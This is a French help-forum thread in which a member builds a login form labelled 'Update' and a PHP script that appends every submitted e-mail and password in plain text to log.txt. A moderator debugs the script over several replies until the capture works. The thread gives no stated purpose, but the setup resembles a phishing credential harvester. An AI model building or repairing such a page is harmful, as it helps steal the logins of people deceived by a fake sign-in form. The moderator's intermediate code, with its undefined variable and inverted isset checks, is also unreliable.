Aide pour scripte php

Résolu/Fermé
Signaler
Messages postés
550
Date d'inscription
jeudi 25 octobre 2012
Statut
Membre
Dernière intervention
22 janvier 2017
-
Messages postés
550
Date d'inscription
jeudi 25 octobre 2012
Statut
Membre
Dernière intervention
22 janvier 2017
-
Bonjour,

Je suis en train de faire un scripte mais j'ai besoin d'aide. J'ai fait toute la page de connexion mais je galère a enregistrer les logs dans le fichier text.

Voila le code du formulaire de connexion :
<form method="post" action="verif.[/contents/1351-php-introduction php]">
                <p class="field_text ">
    <label>E-mail</label>
    <input type="text" id="username" name="username" value="" class="" />
    <span class="error"></span>
</p>
            <p class="field_password ">
    <label>Password</label>
    <input type="password" id="password" name="password" value="" class="" />
    <span class="error"></span>
</p>

        <p id="signin-field">
            <button type="submit"
                    class="huge button">Update</button>
        </p>
        </form>


Et de mon verif.php :
<?php 
$username = $_POST['username']; 
$password = $_POST['password']; 
$logs = $username." - ".$password;
$monfichier = fopen('log.txt', 'a+');
fputs($monfichier, $logs);
fclose($monfichier);
?>


Pouvez vous m'aider ? Quand je clic sur le bouton update sa me r'envois sur la page d'erreur 404.

3 réponses

Messages postés
34682
Date d'inscription
mercredi 22 octobre 2003
Statut
Modérateur
Dernière intervention
20 janvier 2022
4 000
Bonjour,

Quel est le souci exactement ? Tu as un message d'erreur ?

Peux tu tester ce script :
<?php

//Affichage des erreurs PHP
error_reporting(E_ALL);
ini_set('display-errors','on');

//récupération PROPRE des variables
$username = !isset($_POST['username']) ? $_POST['username'] : ''; 
$password = !isset($_POST['password']) ? $_POST['password'] : ''; 

$txt =  $username . " - " . $password .PHP_EOL;

$file = "log.txt";
// Ecrit le contenu dans le fichier, en utilisant les FLAG :
//     - FILE_APPEND pour rajouter à la suite du fichier et
//     - LOCK_EX pour empêcher quiconque d'autre d'écrire dans le fichier en même temps
if(!file_put_contents($file, $person, FILE_APPEND | LOCK_EX)){
  echo "Erreur lors de l'écriture des données dans le fichier ".$file;
}



0
Messages postés
550
Date d'inscription
jeudi 25 octobre 2012
Statut
Membre
Dernière intervention
22 janvier 2017
31
Je le met bien dans mon verif.php ?
0
Messages postés
550
Date d'inscription
jeudi 25 octobre 2012
Statut
Membre
Dernière intervention
22 janvier 2017
31
Il me ressort toujours la page par défaut de l'hebergeur 404 ERROR.
0
Messages postés
550
Date d'inscription
jeudi 25 octobre 2012
Statut
Membre
Dernière intervention
22 janvier 2017
31
Je le met bien dans mon verif.php ?
Il me ressort toujours la page par défaut de l'hebergeur 404 ERROR.
0
Messages postés
34682
Date d'inscription
mercredi 22 octobre 2003
Statut
Modérateur
Dernière intervention
20 janvier 2022
4 000
Si tu as une page 404 .. c'est qu'il ne trouve pas le fichier.
Es-tu sûr que ton fichier se nomme bien : verif.php (même orthographe et même casse (majuscules/minuscules...). ET sans accent ! )
Le fichier est également bien dans le même répertoire que ton fichier html ??
0
Messages postés
550
Date d'inscription
jeudi 25 octobre 2012
Statut
Membre
Dernière intervention
22 janvier 2017
31
Oui j'ai deja vérifier tout sa
0
Messages postés
550
Date d'inscription
jeudi 25 octobre 2012
Statut
Membre
Dernière intervention
22 janvier 2017
31
Il me sort sa maintenant
Notice: Undefined variable: person in /home/u635448984/public_html/test/verif.php on line 17
Erreur lors de l'écriture des données dans le fichier log.txt
0
Messages postés
34682
Date d'inscription
mercredi 22 octobre 2003
Statut
Modérateur
Dernière intervention
20 janvier 2022
4 000
Petit oublie de ma part
if(!file_put_contents($file, $txt, FILE_APPEND | LOCK_EX)){
0
Messages postés
550
Date d'inscription
jeudi 25 octobre 2012
Statut
Membre
Dernière intervention
22 janvier 2017
31 >
Messages postés
34682
Date d'inscription
mercredi 22 octobre 2003
Statut
Modérateur
Dernière intervention
20 janvier 2022

Oui j'ai changer. Alors j'arrive bien a enregistre dans le .txt mais pas ce que je veux.
J'ai juste le tiret " - ".
0
Messages postés
34682
Date d'inscription
mercredi 22 octobre 2003
Statut
Modérateur
Dernière intervention
20 janvier 2022
4 000
Zut...
Encore un oublié. ..
Retiré les ! Devant les isset
0
Messages postés
550
Date d'inscription
jeudi 25 octobre 2012
Statut
Membre
Dernière intervention
22 janvier 2017
31
Yep super merci beaucou pour ton aide rapide et efficace.
0